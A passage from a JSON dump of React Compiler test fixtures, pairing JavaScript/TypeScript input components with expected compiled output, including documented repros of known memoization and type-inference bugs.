    "content": "import * as React from 'react';\nimport {useState, useMemo} from 'react';\n\nfunction Component(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nfunction Component2(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\nimport {calculateExpensiveNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  const [x] = React.useState(0);\n  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\nimport { calculateExpensiveNumber } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const [x] = React.useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = <div>{expensiveNumber}</div>;\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-namespace-import.js",
    "content": "import * as React from 'react';\nimport {calculateExpensiveNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  const [x] = React.useState(0);\n  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\nimport {someImport} from 'react/compiler-runtime';\nimport {calculateExpensiveNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  const [x] = React.useState(0);\n  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return (\n    <div>\n      {expensiveNumber}\n      {`${someImport}`}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport * as React from \"react\";\nimport { someImport, c as _c } from \"react/compiler-runtime\";\nimport { calculateExpensiveNumber } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const [x] = React.useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = (\n      <div>\n        {expensiveNumber}\n        {`${someImport}`}\n      </div>\n    );\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0undefined</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-runtime-import.js",
    "content": "import * as React from 'react';\nimport {someImport} from 'react/compiler-runtime';\nimport {calculateExpensiveNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  const [x] = React.useState(0);\n  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return (\n    <div>\n      {expensiveNumber}\n      {`${someImport}`}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Repro(props) {\n  const MY_CONST = -2;\n  return <Stringify>{props.arg - MY_CONST}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Repro,\n  params: [\n    {\n      arg: 3,\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Repro(props) {\n  const $ = _c(2);\n\n  const t0 = props.arg - -2;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = <Stringify>{t0}</Stringify>;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Repro,\n  params: [\n    {\n      arg: 3,\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":5}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-repro-compact-negative-number.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Repro(props) {\n  const MY_CONST = -2;\n  return <Stringify>{props.arg - MY_CONST}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Repro,\n  params: [\n    {\n      arg: 3,\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(a, b) {\n  switch (a) {\n    case 1:\n      if (b == null) {\n        return;\n      }\n      console.log(b);\n      break;\n    case 2:\n      return;\n    default:\n      return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1, 'foo'],\n};\n\n```\n\n## Code\n\n```javascript\nfunction useHook(a, b) {\n  bb0: switch (a) {\n    case 1: {\n      if (b == null) {\n        return;\n      }\n\n      console.log(b);\n      break bb0;\n    }\n    case 2: {\n      return;\n    }\n    default: {\n      return;\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1, \"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['foo']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-dead-code.js",
    "content": "function useHook(a, b) {\n  switch (a) {\n    case 1:\n      if (b == null) {\n        return;\n      }\n      console.log(b);\n      break;\n    case 2:\n      return;\n    default:\n      return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1, 'foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const outerHandlers = useMemo(() => {\n    let handlers = {value: props.value};\n    switch (props.test) {\n      case true: {\n        console.log(handlers.value);\n        break;\n      }\n      default: {\n      }\n    }\n    return handlers;\n  });\n  return outerHandlers;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: true, value: 'hello'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = { value: props.value };\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const handlers = t0;\n  bb0: switch (props.test) {\n    case true: {\n      console.log(handlers.value);\n      break bb0;\n    }\n    default:\n  }\n  const outerHandlers = handlers;\n\n  return outerHandlers;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ test: true, value: \"hello\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"value\":\"hello\"}\nlogs: ['hello']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/block-scoping-switch-variable-scoping.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const outerHandlers = useMemo(() => {\n    let handlers = {value: props.value};\n    switch (props.test) {\n      case true: {\n        console.log(handlers.value);\n        break;\n      }\n      default: {\n      }\n    }\n    return handlers;\n  });\n  return outerHandlers;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: true, value: 'hello'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel:false\nimport {makeArray, mutate} from 'shared-runtime';\n\n/**\n * Bug repro:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   Forget:\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\",\"wat1\":\"joe\"}}\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component({foo, bar}: {foo: number; bar: number}) {\n  let x = {foo};\n  let y: {bar: number; x?: {foo: number}} = {bar};\n  const f0 = function () {\n    let a = makeArray(y); // a = [y]\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel:false\nimport { makeArray, mutate } from \"shared-runtime\";\n\n/**\n * Bug repro:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   Forget:\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\",\"wat1\":\"joe\"}}\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n    const f0 = function () {\n      const a = makeArray(y);\n      const b = x;\n\n      a[0].x = b;\n    };\n\n    f0();\n    mutate(y.x);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 3, bar: 4 }],\n  sequentialRenders: [\n    { foo: 3, bar: 4 },\n    { foo: 3, bar: 5 },\n  ],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-capturing-func-maybealias-captured-mutate.ts",
    "content": "// @enableNewMutationAliasingModel:false\nimport {makeArray, mutate} from 'shared-runtime';\n\n/**\n * Bug repro:\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   Forget:\n *   (kind: ok)\n *   {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n *   {\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\",\"wat1\":\"joe\"}}\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component({foo, bar}: {foo: number; bar: number}) {\n  let x = {foo};\n  let y: {bar: number; x?: {foo: number}} = {bar};\n  const f0 = function () {\n    let a = makeArray(y); // a = [y]\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef, useEffect} from 'react';\n\n/**\n * The postfix increment operator should return the value before incrementing.\n * ```js\n * const id = count.current; // 0\n * count.current = count.current + 1; // 1\n * return id;\n * ```\n * The bug is that we currently increment the value before the expression is evaluated.\n * This bug does not trigger when the incremented value is a plain primitive.\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 0','count = 1']\n * Forget:\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 1','count = 1']\n */\nfunction useFoo() {\n  const count = useRef(0);\n  const updateCountPostfix = () => {\n    const id = count.current++;\n    return id;\n  };\n  const updateCountPrefix = () => {\n    const id = ++count.current;\n    return id;\n  };\n  useEffect(() => {\n    const id = updateCountPostfix();\n    console.log(`id = ${id}`);\n    console.log(`count = ${count.current}`);\n  }, []);\n  return {count, updateCountPostfix, updateCountPrefix};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef, useEffect } from \"react\";\n\n/**\n * The postfix increment operator should return the value before incrementing.\n * ```js\n * const id = count.current; // 0\n * count.current = count.current + 1; // 1\n * return id;\n * ```\n * The bug is that we currently increment the value before the expression is evaluated.\n * This bug does not trigger when the incremented value is a plain primitive.\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 0','count = 1']\n * Forget:\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 1','count = 1']\n */\nfunction useFoo() {\n  const $ = _c(5);\n  const count = useRef(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      count.current = count.current + 1;\n      const id = count.current;\n      return id;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const updateCountPostfix = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      const id_0 = (count.current = count.current + 1);\n      return id_0;\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const updateCountPrefix = t1;\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      const id_1 = updateCountPostfix();\n      console.log(`id = ${id_1}`);\n      console.log(`count = ${count.current}`);\n    };\n    t3 = [];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useEffect(t2, t3);\n  let t4;\n  if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t4 = { count, updateCountPostfix, updateCountPrefix };\n    $[4] = t4;\n  } else {\n    t4 = $[4];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-ref-prefix-postfix-operator.js",
    "content": "import {useRef, useEffect} from 'react';\n\n/**\n * The postfix increment operator should return the value before incrementing.\n * ```js\n * const id = count.current; // 0\n * count.current = count.current + 1; // 1\n * return id;\n * ```\n * The bug is that we currently increment the value before the expression is evaluated.\n * This bug does not trigger when the incremented value is a plain primitive.\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 0','count = 1']\n * Forget:\n * (kind: ok) {\"count\":{\"current\":0},\"updateCountPostfix\":\"[[ function params=0 ]]\",\"updateCountPrefix\":\"[[ function params=0 ]]\"}\n * logs: ['id = 1','count = 1']\n */\nfunction useFoo() {\n  const count = useRef(0);\n  const updateCountPostfix = () => {\n    const id = count.current++;\n    return id;\n  };\n  const updateCountPrefix = () => {\n    const id = ++count.current;\n    return id;\n  };\n  useEffect(() => {\n    const id = updateCountPostfix();\n    console.log(`id = ${id}`);\n    console.log(`count = ${count.current}`);\n  }, []);\n  return {count, updateCountPostfix, updateCountPrefix};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel:false\nimport {ValidateMemoization} from 'shared-runtime';\n\nconst Codes = {\n  en: {name: 'English'},\n  ja: {name: 'Japanese'},\n  ko: {name: 'Korean'},\n  zh: {name: 'Chinese'},\n};\n\nfunction Component(a) {\n  let keys;\n  if (a) {\n    keys = Object.keys(Codes);\n  } else {\n    return null;\n  }\n  const options = keys.map(code => {\n    const country = Codes[code];\n    return {\n      name: country.name,\n      code,\n    };\n  });\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[]}\n        output={options}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false}],\n  sequentialRenders: [\n    {a: false},\n    {a: true},\n    {a: true},\n    {a: false},\n    {a: true},\n    {a: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel:false\nimport { ValidateMemoization } from \"shared-runtime\";\n\nconst Codes = {\n  en: { name: \"English\" },\n  ja: { name: \"Japanese\" },\n  ko: { name: \"Korean\" },\n  zh: { name: \"Chinese\" },\n};\n\nfunction Component(a) {\n  const $ = _c(4);\n  let keys;\n  if (a) {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = Object.keys(Codes);\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    keys = t0;\n  } else {\n    return null;\n  }\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = keys.map(_temp);\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const options = t0;\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n    );\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = (\n      <>\n        {t1}\n        <ValidateMemoization\n          inputs={[]}\n          output={options}\n          onlyCheckCompiled={true}\n        />\n      </>\n    );\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp(code) {\n  const country = Codes[code];\n  return { name: country.name, code };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: false }],\n  sequentialRenders: [\n    { a: false },\n    { a: true },\n    { a: true },\n    { a: false },\n    { a: true },\n    { a: false },\n  ],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-separate-memoization-due-to-callback-capturing.js",
    "content": "// @enableNewMutationAliasingModel:false\nimport {ValidateMemoization} from 'shared-runtime';\n\nconst Codes = {\n  en: {name: 'English'},\n  ja: {name: 'Japanese'},\n  ko: {name: 'Korean'},\n  zh: {name: 'Chinese'},\n};\n\nfunction Component(a) {\n  let keys;\n  if (a) {\n    keys = Object.keys(Codes);\n  } else {\n    return null;\n  }\n  const options = keys.map(code => {\n    const country = Codes[code];\n    return {\n      name: country.name,\n      code,\n    };\n  });\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[]}\n        output={options}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false}],\n  sequentialRenders: [\n    {a: false},\n    {a: true},\n    {a: true},\n    {a: false},\n    {a: true},\n    {a: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/bug-type-inference-control-flow.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush, CONST_NUMBER0, mutate} from 'shared-runtime';\n\n/**\n * Repro for bug in our type inference system. We currently propagate inferred\n * types through control flow / potential type guards. Note that this is\n * inconsistent with both Flow and Typescript.\n * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA\n * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   [2]\n *   [3]\n * Forget:\n *   (kind: ok)\n *   [2]\n *   [2,3]\n */\nfunction useFoo({cond, value}: {cond: boolean; value: number}) {\n  const x = {value: cond ? CONST_NUMBER0 : []};\n  mutate(x);\n\n  const xValue = x.value;\n  let result;\n  if (typeof xValue === 'number') {\n    result = xValue + 1; //               (1) here we infer xValue is a primitive\n  } else {\n    result = arrayPush(xValue, value); // (2) and propagate it to all other xValue references\n  }\n\n  return result;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n  sequentialRenders: [\n    {cond: false, value: 2},\n    {cond: false, value: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush, CONST_NUMBER0, mutate } from \"shared-runtime\";\n\n/**\n * Repro for bug in our type inference system. We currently propagate inferred\n * types through control flow / potential type guards. Note that this is\n * inconsistent with both Flow and Typescript.\n * https://flow.org/try/#1N4Igxg9gdgZglgcxALlAIwIZoKYBsD6uEEAztvhgE6UYCe+JADpdhgCYowa5kA0I2KAFcAtiRQAXSkOz9sADwxgJ+NPTbYuQ3BMnTZA+Y2yU4IwRO4A6SFBIrGVDGM7c+h46fNRLuKxJIGWh8MeT0ZfhYlCStpHzNsFBAMIQkIEQwJODAQfiEyfBE4eWw2fDgofDBMsAALfAA3KjgsXGxxZC4eAw0G-GhcWn9aY3wWZldu-g1mbGqJUoBaCRHEzrcDEgBrbAk62kXhXFxJ923d-cPRHEpTgyEoMDaqZdW7vKgoOfaSKgOKpqmDA+d4gB5fMA-P6LCCMLLQbiLOoYCqgh6-GDYRYIXYLSgkRZkCR4jpddwPfJLZjpOBkO4AX34kA0SRWxgABAAxYjsgC87OAAB0oOzReythU2Mh2YKQNyILLeMKxeymrgZNLhCIbsL6QBuYVs7DsgBCVD5AuVYolUClMpAZsoiqtorVGvZWpuSqg9OFMAeyjg0HZdTmW3lAAp5NKAPJoABWcwkAEppWZGLg4O12fJ2bSuTyhSKxSwJEJKCKAOQ2tiVvMi3MAMkbOasNb5vP5svlsoNPuFfoD8JFGQqUel8vZAB9TVReCHoHa0MRnlBUwWIJbi6K4DB2RHbGxk1uVSrd-uAIShsDh4hR5PHoun5-siS1SgQADuHuw34AotQECUBGsqysmfYvuyvrbqepblg2EFitBKpwRWOZ9vSuQgA0JgkEGUBJBk9gmCA9JAA\n * https://www.typescriptlang.org/play/?#code/C4TwDgpgBAYg9nKBeKBvAUFLUDWBLAOwBMAuKAInjnIBpNsA3AQwBsBXCMgtgWwCMIAJ3QBfANzpQkKACEmg5GnpZ8xMuTmDayqM3aco3fkLoj0AMzYEAxsDxwCUawAsI1nFQAUADzJw+AFZuwACUZEwAzhFCwBFQ3lB4cVRK2InmUJ4AhJ4A5KpEuYmOCQBkpfEAdAXISCiUCOQhIalp2MDOgnAA7oYQvQCigl2CnuRWEN6QthBETTpmZhZWtvaOPEyEPmQpAD6y8jRODqRQfAgsEEwEYbAIrVh4GZ7WJy0Ybdgubh4IPiEST5YQQQYBsQQlQHYMxpEFgiHxCQiIA\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   [2]\n *   [3]\n * Forget:\n *   (kind: ok)\n *   [2]\n *   [2,3]\n */\nfunction useFoo(t0) {\n  const $ = _c(5);\n  const { cond, value } = t0;\n  let x;\n  if ($[0] !== cond) {\n    x = { value: cond ? CONST_NUMBER0 : [] };\n    mutate(x);\n    $[0] = cond;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  const xValue = x.value;\n  let result;\n  if (typeof xValue === \"number\") {\n    result = xValue + 1;\n  } else {\n    let t1;\n    if ($[2] !== value || $[3] !== xValue) {\n      t1 = arrayPush(xValue, value);\n      $[2] = value;\n      $[3] = xValue;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    result 